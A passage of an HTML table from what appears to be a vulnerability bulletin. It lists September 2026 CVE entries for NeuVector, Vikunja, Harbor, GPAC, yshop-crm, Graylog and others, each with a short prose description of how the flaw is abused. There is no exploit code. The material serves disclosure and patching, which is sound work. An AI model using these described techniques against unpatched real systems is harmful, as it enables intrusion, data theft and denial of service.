&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go--github.com/neuvector/neuvector&lt;/td&gt;
&lt;td&gt;The NeuVector admission webhook silently excludes containers from policy evaluation when their image path matches one of three hardcoded service mesh sidecar images. Since the image path is entirely controlled by the workload author, any user capable of deploying workloads can evade admission deny rules simply by naming their image path after one of these sidecar images.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78427&quot; target=&quot;_blank&quot;&gt;CVE-2026-78427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the task-filter endpoint that accepts deeply nested filter expressions without recursion depth limits. Authenticated attackers can supply thousands of nested parentheses in the filter query parameter to exhaust memory and terminate the API process.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91968&quot; target=&quot;_blank&quot;&gt;CVE-2026-91968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the POST /api/v2/migration/csv/migrate endpoint that fails to limit parsed row cardinality. Authenticated attackers can upload multipart CSV files with millions of tiny records to exhaust process memory and terminate the API service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91969&quot; target=&quot;_blank&quot;&gt;CVE-2026-91969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91970&quot; target=&quot;_blank&quot;&gt;CVE-2026-91970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja before 2.6.0 fails to apply pixel decode limits to avatar and project-background upload endpoints, allowing authenticated users to upload crafted images that decode to excessive pixel counts. Attackers can upload small images with extreme aspect ratios that consume significant CPU and memory during processing, causing denial of service through repeated or concurrent uploads.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91971&quot; target=&quot;_blank&quot;&gt;CVE-2026-91971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja before 2.6.0 fails to limit archive expansion during data import, allowing authenticated users to cause denial of service. Attackers can upload highly compressed files that expand to tens of gigabytes in memory and disk, exhausting server resources and crashing the instance.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91979&quot; target=&quot;_blank&quot;&gt;CVE-2026-91979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;vikunja before 2.6.0 fails to validate team access when attaching teams to projects, allowing authenticated users to enumerate all teams and members. Attackers can attach arbitrary team IDs via the project teams endpoint to retrieve complete team rosters including member names and admin flags for unauthorized teams.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91980&quot; target=&quot;_blank&quot;&gt;CVE-2026-91980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja versions before 2.6.0 fail to properly validate link-share tokens in the v2 API user search endpoints. Attackers with a read-only share link can enumerate project users via the projects endpoint and confirm arbitrary usernames exist via the global search endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91981&quot; target=&quot;_blank&quot;&gt;CVE-2026-91981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja before 2.6.0 continues to expose the raw TOTP shared secret after enrollment through the GET /api/v1/user/settings/totp and /api/v1/user/settings/totp/qrcode endpoints without re-authentication. Attackers with a valid access token can read the secret, import it into their own authenticator, and generate valid codes indefinitely to defeat the second factor and enable account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91982&quot; target=&quot;_blank&quot;&gt;CVE-2026-91982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja before 2.6.0 contains an API token scope bypass vulnerability in task read endpoints where authorization fails to inspect query string parameters. Attackers with limited token scopes can use the expand parameter to access restricted data like comments, reactions, and time entries without proper permission verification.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91983&quot; target=&quot;_blank&quot;&gt;CVE-2026-91983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja before 2.6.0 fails to validate that user-supplied project_view_id in task-position requests belongs to the task&#039;s project. Authenticated attackers can insert task position rows into arbitrary other tenant project views via POST or PUT task-position endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91984&quot; target=&quot;_blank&quot;&gt;CVE-2026-91984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;goharbor--harbor&lt;/td&gt;
&lt;td&gt;Harbor through 2.15.2 fails to properly restrict the q query parameter filtering on scanner registration access credentials. Project administrators can exploit fuzzy filtering on the AccessCredential column to recover the scanner adapter secret one character at a time through response row counts.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92770&quot; target=&quot;_blank&quot;&gt;CVE-2026-92770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gopayplugins--GoPay for WooCommerce&lt;/td&gt;
&lt;td&gt;The GoPay for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the &#039;log_table_filter&#039; parameter in all versions up to, and including, 1.0.36 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75959&quot; target=&quot;_blank&quot;&gt;CVE-2026-75959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gora Tech--Cooked&lt;/td&gt;
&lt;td&gt;Contributor Insecure Direct Object References (IDOR) in Cooked &amp;lt;= 1.16.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73999&quot; target=&quot;_blank&quot;&gt;CVE-2026-73999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Governikus--AusweisApp&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Governikus AusweisApp up to 2.5.4. Affected is an unknown function of the component StartPAOSResponse Handler. Executing a manipulation of the argument ResultMessage can lead to cross site scripting. The attack can be launched remotely. Upgrading to version 2.5.5 is able to address this issue. It is recommended to upgrade the affected component. This CVE was requested by the vendor.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90848&quot; target=&quot;_blank&quot;&gt;CVE-2026-90848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in GPAC up to f1219cde. This vulnerability affects the function gf_node_changed_internal of the file scenegraph/base_scenegraph.c of the component MP4Box. This manipulation causes use after free. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.23 is able to resolve this issue. Patch name: 9eb40df4448b88d6a6ce3454657c06f47eff0b24. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90687&quot; target=&quot;_blank&quot;&gt;CVE-2026-90687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in GPAC up to f1219cde. This vulnerability affects the function gf_node_unregister of the file scenegraph/base_scenegraph.c of the component MP4Box. The manipulation results in use after free. The attack can be executed remotely. The exploit is now public and may be used. Upgrading to version abi-16.23 is able to resolve this issue. The patch is identified as 9eb40df4448b88d6a6ce3454657c06f47eff0b24. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90791&quot; target=&quot;_blank&quot;&gt;CVE-2026-90791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was found in GPAC up to f1219cde. The affected element is the function gf_sg_script_load of the file scenegraph/vrml_tools.c of the component MP4Box. Performing a manipulation results in use after free. It is possible to initiate the attack remotely. The exploit has been made public and could be used. Upgrading to version abi-16.23 is sufficient to fix this issue. The patch is named 9eb40df4448b88d6a6ce3454657c06f47eff0b24. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90794&quot; target=&quot;_blank&quot;&gt;CVE-2026-90794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in GPAC up to f1219cde. Affected by this issue is the function mpgviddmx_process of the file filters/reframe_mpgvid.c of the component MPEG Video Reframer. Such manipulation leads to heap-based buffer overflow. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. Upgrading to version abi-16.23 can resolve this issue. The name of the patch is afca1f1181668d85941d51ed1adf647807d5d975. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91086&quot; target=&quot;_blank&quot;&gt;CVE-2026-91086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was found in GPAC up to f1219cde. Impacted is the function gf_node_get_name_and_id of the file scenegraph/base_scenegraph.c. The manipulation results in use after free. It is possible to launch the attack remotely. The exploit has been made public and could be used. Upgrading to version abi-16.23 is recommended to address this issue. The patch is identified as 49dee5cad329cfed310c1682703df7daa47df31a. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91089&quot; target=&quot;_blank&quot;&gt;CVE-2026-91089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was found in GPAC up to f1219cde. This affects the function gf_bt_report of the file scene_manager/loader_bt.c of the component MP4Box. The manipulation results in memory corruption. The attack may be performed from remote. The exploit has been made public and could be used. Upgrading to version abi-16.23 is able to mitigate this issue. The patch is identified as afca1f1181668d85941d51ed1adf647807d5d975. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90686&quot; target=&quot;_blank&quot;&gt;CVE-2026-90686&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in GPAC up to f1219cde. Impacted is the function gf_node_get_name of the file scenegraph/base_scenegraph.c of the component MP4Box. Such manipulation leads to use after free. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 is recommended to address this issue. The name of the patch is 9eb40df4448b88d6a6ce3454657c06f47eff0b24. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90793&quot; target=&quot;_blank&quot;&gt;CVE-2026-90793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A weakness has been identified in GPAC 26.08-DEV. This impacts the function wait_for_header_and_parse of the file src/utils/downloader.c. This manipulation of the argument Content-Range causes out-of-bounds read. The attack requires local access. The exploit has been made available to the public and could be used for attacks. Upgrading to version abi-16.26 will fix this issue. Patch name: c74a3065038ede35c1c7b75fa493a69ef6bcdb84. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92475&quot; target=&quot;_blank&quot;&gt;CVE-2026-92475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A flaw has been found in GPAC up to f1219cde. This issue affects the function gf_node_list_get_child of the file scenegraph/base_scenegraph.c of the component MP4Box. This manipulation of the argument Target causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been published and may be used. Upgrading to version abi-16.23 is capable of addressing this issue. Patch name: afca1f1181668d85941d51ed1adf647807d5d975. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90792&quot; target=&quot;_blank&quot;&gt;CVE-2026-90792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in GPAC up to f1219cde. This issue affects the function gf_url_concatenate_ex of the file utils/url.c of the component URL Handler. The manipulation leads to heap-based buffer overflow. An attack has to be approached locally. Upgrading to version abi-16.23 is capable of addressing this issue. The identifier of the patch is afca1f1181668d85941d51ed1adf647807d5d975. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91088&quot; target=&quot;_blank&quot;&gt;CVE-2026-91088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in GPAC up to f1219cde. The impacted element is the function gf_node_list_insert_child of the file scenegraph/base_scenegraph.c of the component Node Insertion. Such manipulation leads to memory corruption. The attack can be launched remotely. The exploit is publicly available and might be used. Upgrading to version abi-16.23 is sufficient to resolve this issue. The name of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91091&quot; target=&quot;_blank&quot;&gt;CVE-2026-91091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Grandstream Networks--GWN7660ELR&lt;/td&gt;
&lt;td&gt;Grandstream GWN7660ELR before firmware version 1.0.27.6 contains an information disclosure vulnerability that allows unauthenticated remote attackers to obtain sensitive system information by querying the SNMP v2c service configured with the default community string &#039;public&#039;. Attackers can query standard MIBs over the SNMP port to retrieve operating system and kernel version, running process names and command-line arguments, network interface configuration, routing table entries, ARP table mappings, active TCP connection details, and file system paths, enabling detailed reconnaissance of the device and adjacent network infrastructure.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93338&quot; target=&quot;_blank&quot;&gt;CVE-2026-93338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Graylog2--graylog2-server&lt;/td&gt;
&lt;td&gt;Graylog through 7.1.4 validates outbound URLs against an allowlist before making requests but fails to re-validate after following HTTP redirects. Attackers with lookup table or event notification permissions can craft allowlisted endpoints that redirect to internal services, enabling the server to fetch and return internal responses.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92789&quot; target=&quot;_blank&quot;&gt;CVE-2026-92789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grimmory-tools--grimmory&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in grimmory-tools grimmory up to 3.3.3/3.4.1. Affected is the function AppSettingController.getAppSettings of the file backend/src/main/java/org/booklore/controller/AppSettingController.java of the component Settings API Endpoint. Such manipulation leads to incorrect authorization. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The name of the patch is 2b66ca6df8110f6b512e030b54c16b9fbe318f17. Applying a patch is advised to resolve this issue. PR #2558, merged as 53abc8b, moved the OIDC secret into a dedicated setting, but did not by itself restrict GET /api/v1/settings.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93954&quot; target=&quot;_blank&quot;&gt;CVE-2026-93954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grimmory-tools--grimmory&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in grimmory-tools grimmory up to 3.3.3/3.4.1. Affected by this vulnerability is the function streamFileToResponse of the file backend/src/main/java/org/booklore/controller/KoboController.java of the component Download Endpoint. Performing a manipulation of the argument bookId results in authorization bypass. The attack may be initiated remotely. The exploit is now public and may be used. Issue #2431 is closed as completed, but its only comment states that the issue &quot;has already been reported elsewhere.&quot; No fixing commit or pull request is identified there.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93955&quot; target=&quot;_blank&quot;&gt;CVE-2026-93955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;growthbook--growthbook&lt;/td&gt;
&lt;td&gt;GrowthBook through 5.0.1 returns unredacted fact table definitions including raw warehouse SQL in payloads served by unauthenticated public report and experiment endpoints. Attackers with knowledge of a publicly shared report or experiment identifier can read internal data warehouse query text, schema, table names, filter values and datasource identifiers.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91198&quot; target=&quot;_blank&quot;&gt;CVE-2026-91198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 contains a missing authorization vulnerability in the CrmInvoiceController issueInvoice endpoint that allows authenticated back-office users to issue arbitrary invoices. Attackers can call the PUT /admin-api/crm/invoice/issue endpoint without required permissions to modify invoice status, inflate contract invoiced amounts with attacker-chosen values, and trigger invoice emails to arbitrary addresses.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92457&quot; target=&quot;_blank&quot;&gt;CVE-2026-92457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 contains a missing authorization vulnerability in the CrmCluesController receiveCustomer endpoint that allows authenticated back-office users to claim sales leads without proper permission checks. Attackers can invoke the lead-claim endpoint to reassign leads from other employees to themselves by overwriting the ownerUserId field, with no access logging or quota validation to prevent bulk lead theft.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92459&quot; target=&quot;_blank&quot;&gt;CVE-2026-92459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 fails to enforce authorization on the GET /admin-api/crm/operatelog/page endpoint, allowing any authenticated back-office user to access the installation-wide audit trail. Attackers can query the operation log to retrieve operator names, display nicknames, client IP addresses, User-Agent strings, request URLs, action details, and customer identifiers without proper permission checks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92460&quot; target=&quot;_blank&quot;&gt;CVE-2026-92460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 fails to enforce authorization checks on the CrmFlowController deleteFlowStep endpoint, allowing any authenticated back-office user to delete arbitrary approval workflow steps. Attackers can invoke the DELETE /admin-api/crm/flow/delete-step endpoint without required permissions to remove approval steps that control contract, receivable, and invoice finalization processes.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92462&quot; target=&quot;_blank&quot;&gt;CVE-2026-92462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 contains an authorization failure in the GET /admin-api/system/user/page endpoint where the @PreAuthorize annotation is commented out, allowing authenticated back-office users without system:user:list permission to enumerate all users. Attackers with valid back-office credentials and a role with data scope ALL can retrieve the complete user directory including login names, nicknames, departments, email addresses, mobile numbers, and last login information.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92463&quot; target=&quot;_blank&quot;&gt;CVE-2026-92463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 fails to enforce authorization on the sendSms and sendMail endpoints in CrmCustomerController, allowing any authenticated back-office user to send SMS and email to arbitrary customers. Attackers can invoke POST /admin-api/crm/customer/send-sms and POST /admin-api/crm/customer/send-mail with arbitrary customerIds, templateCode, and templateParams to deliver unauthorized messages through the organization&#039;s SMS and email channels.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92455&quot; target=&quot;_blank&quot;&gt;CVE-2026-92455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 contains a missing authorization vulnerability in the StoreProductController onSale handler that allows authenticated back-office users to modify product sale status. Attackers can invoke the GET /admin-api/product/store-product/sale endpoint with sequential product IDs to withdraw entire product catalogs from sale or re-enable withdrawn products without proper permission checks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92458&quot; target=&quot;_blank&quot;&gt;CVE-2026-92458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 contains a missing authorization vulnerability in the GET /admin-api/crm/flow/flow-users endpoint that allows any logged-in back-office user to access approval workflow data. Attackers can retrieve approval chain topology, step ordering, approver identifiers, and personal information including login names, nicknames, departments, email addresses, mobile numbers and last login IP addresses.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92461&quot; target=&quot;_blank&quot;&gt;CVE-2026-92461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;h44z--wg-portal&lt;/td&gt;
